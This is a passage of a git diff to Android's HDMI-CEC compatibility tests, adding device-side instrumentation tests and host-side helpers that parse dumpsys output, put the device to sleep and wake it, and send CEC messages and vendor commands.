             Log.i(TAG, "Failed to get HdmiControlManager");
             return;
         }
-
-        switch (getIntent().getAction()) {
-            case "android.hdmicec.app.OTP":
-                initiateOtp();
-                break;
-            case "android.hdmicec.app.DEVICE_SELECT":
-                int logicalAddress = getIntent().getIntExtra("la", 50);
-                deviceSelect(logicalAddress);
-            default:
-                Log.w(TAG, "Unknown intent!");
-        }
     }
 
-    private void deviceSelect(int logicalAddress) {
+    @After
+    public void tearDown() {
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void deviceSelect() throws InterruptedException {
+        final String param = InstrumentationRegistry.getArguments().getString(LOGICAL_ADDR);
+        int logicalAddress = Integer.parseInt(param);
         HdmiTvClient client = mHdmiControlManager.getTvClient();
         if (client == null) {
             Log.e(TAG, "Failed to get the TV client");
@@ -93,25 +90,104 @@
                                 TAG,
                                 "Could not select device with logical address " + logicalAddress);
                     }
-                    finishAndRemoveTask();
                 });
     }
 
-    private void initiateOtp() {
-        HdmiPlaybackClient client = mHdmiControlManager.getPlaybackClient();
+    @Test
+    public void interruptedLongPress() throws InterruptedException {
+        HdmiClient client = mHdmiControlManager.getPlaybackClient();
         if (client == null) {
-            Log.i(TAG, "Failed to get HdmiPlaybackClient");
+            client = mHdmiControlManager.getTvClient();
+        }
+
+        if (client == null) {
+            Log.i(TAG, "Could not get a TV/Playback client, cannot send key event");
             return;
         }
 
-        client.oneTouchPlay(
-                (result) -> {
-                    if (result == HdmiControlManager.RESULT_SUCCESS) {
-                        Log.i(TAG, "OTP successful");
-                    } else {
-                        Log.i(TAG, "OTP failed");
-                    }
-                    finishAndRemoveTask();
-                });
+        try {
+            for (int i = 0; i < 5; i++) {
+                client.sendKeyEvent(KeyEvent.KEYCODE_DPAD_UP, true);
+                TimeUnit.MILLISECONDS.sleep(450);
+            }
+            client.sendKeyEvent(KeyEvent.KEYCODE_DPAD_UP, false);
+            // Sleep for 500ms more
+            TimeUnit.MILLISECONDS.sleep(500);
+            client.sendKeyEvent(KeyEvent.KEYCODE_DPAD_DOWN, true);
+        } catch (InterruptedException ie) {
+            Log.w(TAG, "Interrupted between keyevents, could not send all keyevents!");
+        }
+    }
+
+    @Test
+    public void vendorCmdListenerWithId() throws InterruptedException {
+        HdmiClient client = mHdmiControlManager.getPlaybackClient();
+        if (client == null) {
+            client = mHdmiControlManager.getTvClient();
+        }
+
+        if (client == null) {
+            Log.i(TAG, "Could not get a TV/Playback client, cannot register listener");
+            return;
+        }
+
+        client.setVendorCommandListener(vendorCommandListenerWithId, VENDOR_ID);
+        Log.i(TAG, "Registered vendor command listener with ID");
+
+        // Sleep for 20s, 10s waiting for the registration confirmation and 10s waiting for the
+        // callback.
+        TimeUnit.SECONDS.sleep(20);
+    }
+
+    @Test
+    public void vendorCmdListenerWithoutId() throws InterruptedException {
+        HdmiClient client = mHdmiControlManager.getPlaybackClient();
+        if (client == null) {
+            client = mHdmiControlManager.getTvClient();
+        }
+
+        if (client == null) {
+            Log.i(TAG, "Could not get a TV/Playback client, cannot register listener");
+            return;
+        }
+
+        client.setVendorCommandListener(vendorCommandListenerWithoutId);
+        Log.i(TAG, "Registered vendor command listener without ID");
+
+        // Sleep for 20s, 10s waiting for the registration confirmation and 10s waiting for the
+        // callback.
+        TimeUnit.SECONDS.sleep(20);
+    }
+
+    private static class VendorCommandTestListener
+            implements HdmiControlManager.VendorCommandListener {
+
+        int mVendorId = 0xFFFFFF;
+
+        VendorCommandTestListener(int vendorId) {
+            mVendorId = vendorId;
+        }
+
+        VendorCommandTestListener() {}
+
+        @Override
+        public void onReceived(
+                int sourceAddress, int destAddress, byte[] params, boolean hasVendorId) {
+            if (hasVendorId) {
+                int receivedVendorId =
+                        ((params[0] & 0xFF) << 16) + ((params[1] & 0xFF) << 8) + (params[2] & 0xFF);
+
+                if (mVendorId == receivedVendorId) {
+                    Log.i(TAG, "Received vendor command with correct vendor ID");
+                } else {
+                    Log.i(TAG, "Received vendor command with wrong vendor ID");
+                }
+            } else {
+                Log.i(TAG, "Received vendor command without vendor ID");
+            }
+        }
+
+        @Override
+        public void onControlStateChanged(boolean enabled, int reason) {}
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
index 4278eaf..f5a6454 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
@@ -16,10 +16,16 @@
 
 package android.hdmicec.cts;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import static org.junit.Assume.assumeTrue;
 
+import android.hdmicec.cts.HdmiCecConstants.CecDeviceType;
+import android.hdmicec.cts.error.DumpsysParseException;
+
 import com.android.tradefed.config.Option;
 import com.android.tradefed.config.OptionClass;
+import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
@@ -27,6 +33,7 @@
 import org.junit.rules.TestRule;
 
 import java.io.BufferedReader;
+import java.io.IOException;
 import java.io.StringReader;
 import java.util.ArrayList;
 import java.util.List;
@@ -39,6 +46,9 @@
 public class BaseHdmiCecCtsTest extends BaseHostJUnit4Test {
 
     public static final String PROPERTY_LOCALE = "persist.sys.locale";
+    private static final String POWER_CONTROL_MODE = "power_control_mode";
+    private static final String POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST =
+            "power_state_change_on_active_source_lost";
 
     /** Enum contains the list of possible address types. */
     private enum AddressType {
@@ -58,7 +68,7 @@
 
     public final HdmiCecClientWrapper hdmiCecClient;
     public List<LogicalAddress> mDutLogicalAddresses = new ArrayList<>();
-    public int mTestDeviceType = HdmiCecConstants.CEC_DEVICE_TYPE_UNKNOWN;
+    public @CecDeviceType int mTestDeviceType;
 
     /**
      * Constructor for BaseHdmiCecCtsTest.
@@ -80,10 +90,10 @@
      * Constructor for BaseHdmiCecCtsTest.
      *
      * @param testDeviceType The primary test device type. This is used to determine to which
-     * logical address of the DUT messages should be sent.
+     *     logical address of the DUT messages should be sent.
      * @param clientParams Extra parameters to use when launching cec-client
      */
-    public BaseHdmiCecCtsTest(int testDeviceType, String... clientParams) {
+    public BaseHdmiCecCtsTest(@CecDeviceType int testDeviceType, String... clientParams) {
         this.hdmiCecClient = new HdmiCecClientWrapper(clientParams);
         mTestDeviceType = testDeviceType;
     }
@@ -109,16 +119,17 @@
             return new RequiredFeatureRule(testPointer, HdmiCecConstants.LEANBACK_FEATURE);
         }
 
-        public static TestRule requiresDeviceType(BaseHostJUnit4Test testPointer,
-                                                  LogicalAddress dutLogicalAddress) {
+        public static TestRule requiresDeviceType(
+                BaseHostJUnit4Test testPointer, @CecDeviceType int dutDeviceType) {
             return RequiredPropertyRule.asCsvContainsValue(
-                        testPointer,
-                        HdmiCecConstants.HDMI_DEVICE_TYPE_PROPERTY,
-                        dutLogicalAddress.getDeviceTypeString());
+                    testPointer,
+                    HdmiCecConstants.HDMI_DEVICE_TYPE_PROPERTY,
+                    Integer.toString(dutDeviceType));
         }
 
         /** This rule will skip the test if the DUT belongs to the HDMI device type deviceType. */
-        public static TestRule skipDeviceType(BaseHostJUnit4Test testPointer, int deviceType) {
+        public static TestRule skipDeviceType(
+                BaseHostJUnit4Test testPointer, @CecDeviceType int deviceType) {
             return RequiredPropertyRule.asCsvDoesNotContainsValue(
                     testPointer,
                     HdmiCecConstants.HDMI_DEVICE_TYPE_PROPERTY,
@@ -132,23 +143,23 @@
     public static int dutPhysicalAddress = HdmiCecConstants.DEFAULT_PHYSICAL_ADDRESS;
 
     /** Gets the physical address of the DUT by parsing the dumpsys hdmi_control. */
-    public int getDumpsysPhysicalAddress() throws Exception {
+    public int getDumpsysPhysicalAddress() throws DumpsysParseException {
         return getDumpsysPhysicalAddress(getDevice());
     }
 
     /** Gets the physical address of the specified device by parsing the dumpsys hdmi_control. */
-    public static int getDumpsysPhysicalAddress(ITestDevice device) throws Exception {
+    public static int getDumpsysPhysicalAddress(ITestDevice device) throws DumpsysParseException {
         return parseRequiredAddressFromDumpsys(device, AddressType.DUMPSYS_PHYSICAL_ADDRESS);
     }
 
     /** Gets the list of logical addresses of the DUT by parsing the dumpsys hdmi_control. */
-    public List<LogicalAddress> getDumpsysLogicalAddresses() throws Exception {
+    public List<LogicalAddress> getDumpsysLogicalAddresses() throws DumpsysParseException {
         return getDumpsysLogicalAddresses(getDevice());
     }
 
     /** Gets the list of logical addresses of the device by parsing the dumpsys hdmi_control. */
     public static List<LogicalAddress> getDumpsysLogicalAddresses(ITestDevice device)
-            throws Exception {
+            throws DumpsysParseException {
         List<LogicalAddress> logicalAddressList = new ArrayList<>();
         String line;
         String pattern =
@@ -173,19 +184,51 @@
             if (!logicalAddressList.isEmpty()) {
                 return logicalAddressList;
             }
-        } catch (Exception e) {
-            throw new Exception("Parsing dumpsys for logicalAddress failed.", e);
+        } catch (IOException | DeviceNotAvailableException e) {
+            throw new DumpsysParseException(
+                    "Could not parse logicalAddress from dumpsys.", e);
         }
-        throw new Exception("Could not parse logicalAddress from dumpsys.");
+        throw new DumpsysParseException(
+                "Could not parse logicalAddress from dumpsys.");
+    }
+
+    /**
+     * Gets the system audio mode status of the device by parsing the dumpsys hdmi_control. Returns
+     * true when system audio mode is on and false when system audio mode is off
+     */
+    public boolean isSystemAudioModeOn(ITestDevice device) throws DumpsysParseException {
+        List<LogicalAddress> logicalAddressList = new ArrayList<>();
+        String line;
+        String pattern =
+                "(.*?)"
+                        + "(mSystemAudioActivated: )"
+                        + "(?<"
+                        + "systemAudioModeStatus"
+                        + ">[true|false])"
+                        + "(.*?)";
+        Pattern p = Pattern.compile(pattern);
+        try {
+            String dumpsys = device.executeShellCommand("dumpsys hdmi_control");
+            BufferedReader reader = new BufferedReader(new StringReader(dumpsys));
+            while ((line = reader.readLine()) != null) {
+                Matcher m = p.matcher(line);
+                if (m.matches()) {
+                    return m.group("systemAudioModeStatus").equals("true");
+                }
+            }
+        } catch (IOException | DeviceNotAvailableException e) {
+            throw new DumpsysParseException("Could not parse system audio mode from dumpsys.", e);
+        }
+        throw new DumpsysParseException("Could not parse system audio mode from dumpsys.");
     }
 
     /** Gets the DUT's logical address to which messages should be sent */
-    public LogicalAddress getTargetLogicalAddress() throws Exception {
+    public LogicalAddress getTargetLogicalAddress() throws DumpsysParseException {
         return getTargetLogicalAddress(getDevice(), mTestDeviceType);
     }
 
     /** Gets the given device's logical address to which messages should be sent */
-    public static LogicalAddress getTargetLogicalAddress(ITestDevice device) throws Exception {
+    public static LogicalAddress getTargetLogicalAddress(ITestDevice device) throws DumpsysParseException {
         return getTargetLogicalAddress(device, HdmiCecConstants.CEC_DEVICE_TYPE_UNKNOWN);
     }
 
@@ -197,7 +240,7 @@
      *
      */
     public static LogicalAddress getTargetLogicalAddress(ITestDevice device, int testDeviceType)
-            throws Exception {
+            throws DumpsysParseException {
         List<LogicalAddress> logicalAddressList = getDumpsysLogicalAddresses(device);
         for (LogicalAddress address : logicalAddressList) {
             if (address.getDeviceType() == testDeviceType) {
@@ -211,7 +254,7 @@
      * Parses the dumpsys hdmi_control to get the logical address of the current device registered
      * as active source.
      */
-    public LogicalAddress getDumpsysActiveSourceLogicalAddress() throws Exception {
+    public LogicalAddress getDumpsysActiveSourceLogicalAddress() throws DumpsysParseException {
         ITestDevice device = getDevice();
         int address =
                 parseRequiredAddressFromDumpsys(device, AddressType.DUMPSYS_AS_LOGICAL_ADDRESS);
@@ -219,7 +262,7 @@
     }
 
     private static int parseRequiredAddressFromDumpsys(ITestDevice device, AddressType addressType)
-            throws Exception {
+            throws DumpsysParseException {
         Matcher m;
         String line;
         String pattern;
@@ -248,7 +291,8 @@
                                 + "(.*?)";
                 break;
             default:
-                throw new IllegalArgumentException("Incorrect parameters");
+                throw new DumpsysParseException(
+                        "Incorrect parameters", new IllegalArgumentException());
         }
 
         try {
@@ -262,14 +306,15 @@
                     return address;
                 }
             }
-        } catch (Exception e) {
-            throw new Exception(
-                    "Parsing dumpsys for " + addressType.getAddressType() + " failed.", e);
+        } catch (IOException | DeviceNotAvailableException e) {
+            throw new DumpsysParseException(
+                    "Could not parse " + addressType.getAddressType() + " from dumpsys.", e);
         }
-        throw new Exception("Could not parse " + addressType.getAddressType() + " from dumpsys.");
+        throw new DumpsysParseException(
+                "Could not parse " + addressType.getAddressType() + " from dumpsys.");
     }
 
-    public boolean hasDeviceType(int deviceType) {
+    public boolean hasDeviceType(@CecDeviceType int deviceType) {
         for (LogicalAddress address : mDutLogicalAddresses) {
             if (address.getDeviceType() == deviceType) {
                 return true;
@@ -347,4 +392,191 @@
     public void setSettingsValue(String setting, String value) throws Exception {
         setSettingsValue(getDevice(), setting, value);
     }
+
+    public String getDeviceList() throws Exception {
+        return getDevice().executeShellCommand(
+                "dumpsys hdmi_control | sed -n '/mDeviceInfos/,/mCecController/{//!p;}'");
+    }
+
+    public void sendDeviceToSleepAndValidate() throws Exception {
+        sendDeviceToSleep();
+        assertDeviceWakefulness(HdmiCecConstants.WAKEFULNESS_ASLEEP);
+    }
+
+    public void waitForTransitionTo(int finalState) throws Exception {
+        int powerStatus;
+        int waitTimeSeconds = 0;
+        LogicalAddress cecClientDevice = hdmiCecClient.getSelfDevice();
+        int transitionState;
+        if (finalState == HdmiCecConstants.CEC_POWER_STATUS_STANDBY) {
+            transitionState = HdmiCecConstants.CEC_POWER_STATUS_IN_TRANSITION_TO_STANDBY;
+        } else if (finalState == HdmiCecConstants.CEC_POWER_STATUS_ON) {
+            transitionState = HdmiCecConstants.CEC_POWER_STATUS_IN_TRANSITION_TO_ON;
+        } else {
+            throw new Exception("Unsupported final power state!");
+        }
+        do {
+            TimeUnit.SECONDS.sleep(HdmiCecConstants.SLEEP_TIMESTEP_SECONDS);
+            waitTimeSeconds += HdmiCecConstants.SLEEP_TIMESTEP_SECONDS;
+            hdmiCecClient.sendCecMessage(cecClientDevice, CecOperand.GIVE_POWER_STATUS);
+            powerStatus =
+                    CecMessage.getParams(
+                            hdmiCecClient.checkExpectedOutput(
+                                    cecClientDevice, CecOperand.REPORT_POWER_STATUS));
+            if (powerStatus == finalState) {
+                return;
+            }
+        } while (powerStatus == transitionState
+                && waitTimeSeconds <= HdmiCecConstants.MAX_SLEEP_TIME_SECONDS);
+        if (powerStatus != finalState) {
+            // Transition not complete even after wait, throw an Exception.
+            throw new Exception("Power status did not change to expected state.");
+        }
+    }
+
+    public void sendDeviceToSleepWithoutWait() throws Exception {
+        ITestDevice device = getDevice();
+        WakeLockHelper.acquirePartialWakeLock(device);
+        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+    }
+
+    public void sendDeviceToSleep() throws Exception {
+        sendDeviceToSleepWithoutWait();
+        assertDeviceWakefulness(HdmiCecConstants.WAKEFULNESS_ASLEEP);
+        waitForTransitionTo(HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
+    }
+
+    public void sendDeviceToSleepAndValidateUsingStandbyMessage(boolean directlyAddressed)
+            throws Exception {
+        ITestDevice device = getDevice();
+        WakeLockHelper.acquirePartialWakeLock(device);
+        if (directlyAddressed) {
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, CecOperand.STANDBY);
+        } else {
+            hdmiCecClient.sendCecMessage(
+                    LogicalAddress.TV, LogicalAddress.BROADCAST, CecOperand.STANDBY);
+        }
+        waitForTransitionTo(HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
+    }
+
+    public void wakeUpDevice() throws Exception {
+        ITestDevice device = getDevice();
+        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        assertDeviceWakefulness(HdmiCecConstants.WAKEFULNESS_AWAKE);
+        waitForTransitionTo(HdmiCecConstants.CEC_POWER_STATUS_ON);
+        WakeLockHelper.releasePartialWakeLock(device);
+    }
+
+    public void wakeUpDeviceWithoutWait() throws Exception {
+        ITestDevice device = getDevice();
+        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        assertDeviceWakefulness(HdmiCecConstants.WAKEFULNESS_AWAKE);
+        WakeLockHelper.releasePartialWakeLock(device);
+    }
+
+    public void checkStandbyAndWakeUp() throws Exception {
+        assertDeviceWakefulness(HdmiCecConstants.WAKEFULNESS_ASLEEP);
+        wakeUpDevice();
+    }
+
+    public void assertDeviceWakefulness(String wakefulness) throws Exception {
+        ITestDevice device = getDevice();
+        String actualWakefulness;
+        int waitTimeSeconds = 0;
+
+        do {
+            TimeUnit.SECONDS.sleep(HdmiCecConstants.SLEEP_TIMESTEP_SECONDS);
+            waitTimeSeconds += HdmiCecConstants.SLEEP_TIMESTEP_SECONDS;
+            actualWakefulness =
+                    device.executeShellCommand("dumpsys power | grep mWakefulness=")
+                            .trim().replace("mWakefulness=", "");
+        } while (!actualWakefulness.equals(wakefulness)
+                && waitTimeSeconds <= HdmiCecConstants.MAX_SLEEP_TIME_SECONDS);
+        assertWithMessage(
+                "Device wakefulness is "
+                        + actualWakefulness
+                        + " but expected to be "
+                        + wakefulness)
+                .that(actualWakefulness)
+                .isEqualTo(wakefulness);
+    }
+
+    public void sendOtp() throws Exception {
+        ITestDevice device = getDevice();
+        device.executeShellCommand("cmd hdmi_control onetouchplay");
+    }
+
+    public String setPowerControlMode(String valToSet) throws Exception {
+        String val = getSettingsValue(POWER_CONTROL_MODE);
+        setSettingsValue(POWER_CONTROL_MODE, valToSet);
+        return val;
+    }
+
+    public String setPowerStateChangeOnActiveSourceLost(String valToSet) throws Exception {
+        String previousPowerStateChange =
+                getSettingsValue(POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST);
+        setSettingsValue(POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST, valToSet);
+        return previousPowerStateChange;
+    }
+
+    public boolean isDeviceActiveSource(ITestDevice device) throws DumpsysParseException {
+        final String activeSource = "activeSource";
+        final String pattern =
+                "(.*?)"
+                        + "(isActiveSource\\(\\): )"
+                        + "(?<"
+                        + activeSource
+                        + ">\\btrue\\b|\\bfalse\\b)"
+                        + "(.*?)";
+        try {
+            Pattern p = Pattern.compile(pattern);
+            String dumpsys = device.executeShellCommand("dumpsys hdmi_control");
+            BufferedReader reader = new BufferedReader(new StringReader(dumpsys));
+            String line;
+            while ((line = reader.readLine()) != null) {
+                Matcher matcher = p.matcher(line);
+                if (matcher.matches()) {
+                    return matcher.group(activeSource).equals("true");
+                }
+            }
+        } catch (IOException | DeviceNotAvailableException e) {
+            throw new DumpsysParseException("Could not fetch 'dumpsys hdmi_control' output.", e);
+        }
+        throw new DumpsysParseException("Could not parse isActiveSource() from dumpsys.");
+    }
+
+    /**
+     * For source devices, simulate that a sink is connected by responding to the
+     * {@code Give Power Status} message that is sent when re-enabling CEC.
+     * Validate that HdmiControlService#mIsCecAvailable is set to true as a result.
+     */
+    public void simulateCecSinkConnected(ITestDevice device, LogicalAddress source)
+            throws Exception {
+        hdmiCecClient.clearClientOutput();
+        device.executeShellCommand("cmd hdmi_control cec_setting set hdmi_cec_enabled 0");
+        device.executeShellCommand("cmd hdmi_control cec_setting set hdmi_cec_enabled 1");
+        // When a CEC device has just become available, the CEC adapter isn't able to send it
+        // messages right away. Therefore we let the first <Give Power Status> message time-out, and
+        // only respond to the retry.
+        hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
+        hdmiCecClient.clearClientOutput();
+        hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
+        hdmiCecClient.sendCecMessage(LogicalAddress.TV, source, CecOperand.REPORT_POWER_STATUS,
+                CecMessage.formatParams(HdmiCecConstants.CEC_POWER_STATUS_STANDBY));
+        checkIsCecAvailable(device);
+    }
+
+    private void checkIsCecAvailable(ITestDevice device) throws Exception {
+        boolean isCecAvailable;
+        int waitTimeSeconds = 0;
+        do {
+            TimeUnit.SECONDS.sleep(HdmiCecConstants.SLEEP_TIMESTEP_SECONDS);
+            waitTimeSeconds += HdmiCecConstants.SLEEP_TIMESTEP_SECONDS;
+            isCecAvailable =
+                    device.executeShellCommand("dumpsys hdmi_control | grep mIsCecAvailable:")
+                            .replace("mIsCecAvailable:", "").trim().equals("true");
+        } while (!isCecAvailable && waitTimeSeconds <= HdmiCecConstants.MAX_SLEEP_TIME_SECONDS);
+        assertWithMessage("Simulating that a sink is connected, failed.")
+                .that(isCecAvailable).isTrue();
+    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
index 0f720b0..dfbdb53 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
@@ -25,6 +25,11 @@
 
     private static final int HEXADECIMAL_RADIX = 16;
 
+    public static String buildCecMessage(
+            LogicalAddress source, LogicalAddress destination, CecOperand operand, int params) {
+        return "" + source + destination + ":" + operand + formatParams(params);
+    }
+
     public static String formatParams(String rawParams) {
         StringBuilder params = new StringBuilder("");
         int position = 0;
@@ -99,8 +104,8 @@
     /**
      * From the params of a CEC message, gets the nibbles from position start to position end.
      * The start and end are relative to the beginning of the params. For example, in the following
-     * message - 4F:82:10:00:04, getParamsFromMessage(message, 0, 4) will return 0x1000 and
-     * getParamsFromMessage(message, 4, 6) will return 0x04.
+     * message - 4F:82:10:00:04, getParams(message, 0, 4) will return 0x1000 and
+     * getParams(message, 4, 6) will return 0x04.
      */
     public static int getParams(String message, int start, int end) {
         return hexStringToInt(getNibbles(message).substring(4).substring(start, end));
@@ -138,12 +143,21 @@
         return params.toString();
     }
 
-    /** Assert for the DUT's physical address with the value passed from command line argument. */
+    /**
+     *  Assert for the DUT's physical address with the value passed from command line argument.
+     *  Assert for the source's physical address in a <Routing Change> message.
+     */
     public static void assertPhysicalAddressValid(String message, int expectedPhysicalAddress) {
         int physicalAddress = getParams(message, HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH);
         assertThat(physicalAddress).isEqualTo(expectedPhysicalAddress);
     }
 
+    /** Assert for the target's physical address in a <Routing Change> message. */
+    public static void assertTargetPhysicalAddressValid(String message, int expectedTargetPhysicalAddress) {
+        int targetPhysicalAddress = getParams(message, 4, 8);
+        assertThat(targetPhysicalAddress).isEqualTo(expectedTargetPhysicalAddress);
+    }
+
     private static String getNibbles(String message) {
         final String tag1 = "group1";
         final String tag2 = "group2";
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecOperand.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecOperand.java
index c059110..88362d8 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecOperand.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecOperand.java
@@ -20,11 +20,21 @@
 import java.util.Map;
 
 public enum CecOperand {
+    POLL(-1),
     FEATURE_ABORT(0x00),
     IMAGE_VIEW_ON(0x04),
+    GIVE_TUNER_DEVICE_STATUS(0x08),
+    RECORD_ON(0x09),
+    RECORD_OFF(0x0b),
     TEXT_VIEW_ON(0x0d),
+    RECORD_TV_SCREEN(0x0f),
+    GIVE_DECK_STATUS(0x1a),
     SET_MENU_LANGUAGE(0x32),
+    CLEAR_ANALOG_TIMER(0x33),
+    SET_ANALOG_TIMER(0x34),
     STANDBY(0x36),
+    PLAY(0x41),
+    DECK_CONTROL(0x42),
     USER_CONTROL_PRESSED(0x44),
     USER_CONTROL_RELEASED(0x45),
     GIVE_OSD_NAME(0x46),
@@ -35,6 +45,7 @@
     REPORT_AUDIO_STATUS(0x7a),
     GIVE_SYSTEM_AUDIO_MODE_STATUS(0x7d),
     SYSTEM_AUDIO_MODE_STATUS(0x7e),
+    ROUTING_CHANGE(0x80),
     ACTIVE_SOURCE(0x82),
     GIVE_PHYSICAL_ADDRESS(0x83),
     REPORT_PHYSICAL_ADDRESS(0x84),
@@ -43,12 +54,17 @@
     DEVICE_VENDOR_ID(0x87),
     VENDOR_COMMAND(0x89),
     GIVE_DEVICE_VENDOR_ID(0x8c),
+    MENU_REQUEST(0x8d),
     GIVE_POWER_STATUS(0x8f),
     REPORT_POWER_STATUS(0x90),
     GET_MENU_LANGUAGE(0x91),
+    SET_DIGITAL_TIMER(0x97),
+    CLEAR_DIGITAL_TIMER(0x99),
     INACTIVE_SOURCE(0x9d),
     CEC_VERSION(0x9e),
     GET_CEC_VERSION(0x9f),
+    VENDOR_COMMAND_WITH_ID(0Xa0),
+    CLEAR_EXTERNAL_TIMER(0xa1),
     REPORT_SHORT_AUDIO_DESCRIPTOR(0xa3),
     REQUEST_SHORT_AUDIO_DESCRIPTOR(0xa4),
     GIVE_FEATURES(0xa5),
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
index ba8214f..ad8e506 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
@@ -16,6 +16,10 @@
 
 package android.hdmicec.cts;
 
+import android.hdmicec.cts.error.CecClientWrapperException;
+import android.hdmicec.cts.error.ErrorCodes;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.util.RunUtil;
@@ -26,12 +30,11 @@
 import java.io.BufferedWriter;
 import java.io.File;
 import java.io.FileReader;
-import java.io.InputStreamReader;
 import java.io.IOException;
+import java.io.InputStreamReader;
 import java.io.OutputStreamWriter;
 import java.util.ArrayList;
 import java.util.Arrays;
-import java.util.concurrent.TimeUnit;
 import java.util.List;
 import java.util.concurrent.TimeUnit;
 import java.util.regex.Pattern;
@@ -54,6 +57,11 @@
     private StringBuilder sendVendorCommand = new StringBuilder("cmd hdmi_control vendorcommand ");
     private int physicalAddress = 0xFFFF;
 
+    private CecOperand featureAbortOperand = CecOperand.FEATURE_ABORT;
+    private List<Integer> featureAbortReasons =
+            new ArrayList<>(HdmiCecConstants.ABORT_INVALID_OPERAND);
+    private boolean isFeatureAbortExpected = false;
+
     private static final String CEC_PORT_BUSY = "unable to open the device on port";
 
     public HdmiCecClientWrapper(String ...clientParams) {
@@ -69,36 +77,56 @@
         targetDevice = dutLogicalAddress;
     }
 
-    public List<String> getValidCecClientPorts() throws Exception {
+    public List<String> getValidCecClientPorts() throws CecClientWrapperException {
 
         List<String> listPortsCommand = new ArrayList();
+        Process cecClient;
 
         listPortsCommand.add("cec-client");
         listPortsCommand.add("-l");
 
         List<String> comPorts = new ArrayList();
-        Process cecClient = RunUtil.getDefault().runCmdInBackground(listPortsCommand);
-        BufferedReader inputConsole =
-                new BufferedReader(new InputStreamReader(cecClient.getInputStream()));
-        while (cecClient.isAlive()) {
-            if (inputConsole.ready()) {
-                String line = inputConsole.readLine();
-                if (line.toLowerCase().contains("com port")) {
-                    String port = line.split(":")[1].trim();
-                    comPorts.add(port);
+        try {
+            cecClient = RunUtil.getDefault().runCmdInBackground(listPortsCommand);
+        } catch (IOException ioe) {
+            throw new CecClientWrapperException(
+                    ErrorCodes.CecClientStart,
+                    "as cec-client may not be installed. Please refer to README for"
+                        + " setup/installation instructions.");
+        }
+        try {
+            BufferedReader inputConsole =
+                    new BufferedReader(new InputStreamReader(cecClient.getInputStream()));
+            while (cecClient.isAlive()) {
+                if (inputConsole.ready()) {
+                    String line = inputConsole.readLine();
+                    if (line.toLowerCase().contains("com port")) {
+                        String port = line.split(":")[1].trim();
+                        comPorts.add(port);
+                    }
                 }
             }
+            inputConsole.close();
+            cecClient.waitFor();
+        } catch (IOException | InterruptedException ioe) {
+            throw new CecClientWrapperException(ErrorCodes.ReadConsole, ioe);
         }
-        inputConsole.close();
-        cecClient.waitFor();
 
         return comPorts;
     }
 
-    boolean initValidCecClient(ITestDevice device, List<String> clientCommands) throws Exception {
-        String serialNo = device.getProperty("ro.serialno");
-        File mDeviceEntry = new File(HdmiCecConstants.CEC_MAP_FOLDER, serialNo);
+    boolean initValidCecClient(ITestDevice device, List<String> clientCommands)
+            throws CecClientWrapperException {
+
+        String serialNo;
         List<String> launchCommand = new ArrayList(clientCommands);
+        try {
+            serialNo = device.getProperty("ro.serialno");
+        } catch (DeviceNotAvailableException de) {
+            throw new CecClientWrapperException(ErrorCodes.DeviceNotAvailable, de);
+        }
+        File mDeviceEntry = new File(HdmiCecConstants.CEC_MAP_FOLDER, serialNo);
+
         try (BufferedReader reader = new BufferedReader(new FileReader(mDeviceEntry))) {
             String port = reader.readLine();
             launchCommand.add(port);
@@ -119,17 +147,18 @@
                 Process killProcess = mCecClient.destroyForcibly();
                 killProcess.waitFor();
             }
-        } catch (IOException ioe) {
-            throw new Exception("Could not open port mapping file");
+        } catch (IOException | InterruptedException ioe) {
+            throw new CecClientWrapperException(
+                    ErrorCodes.ReadConsole, ioe, "Could not open port mapping file");
         }
-
         return false;
     }
 
     /** Initialise the client */
-    void init(boolean startAsTv, ITestDevice device) throws Exception {
+    void init(boolean startAsTv, ITestDevice device) throws CecClientWrapperException {
         if (targetDevice == LogicalAddress.UNKNOWN) {
-            throw new IllegalStateException("Missing logical address of the target device.");
+            throw new CecClientWrapperException(
+                    ErrorCodes.CecClientStart, "Missing logical address of the target device.");
         }
 
         List<String> commands = new ArrayList();
@@ -158,16 +187,16 @@
         if (!initValidCecClient(device, commands)) {
             mCecClientInitialised = false;
 
-            throw (new Exception("Could not initialise cec-client process"));
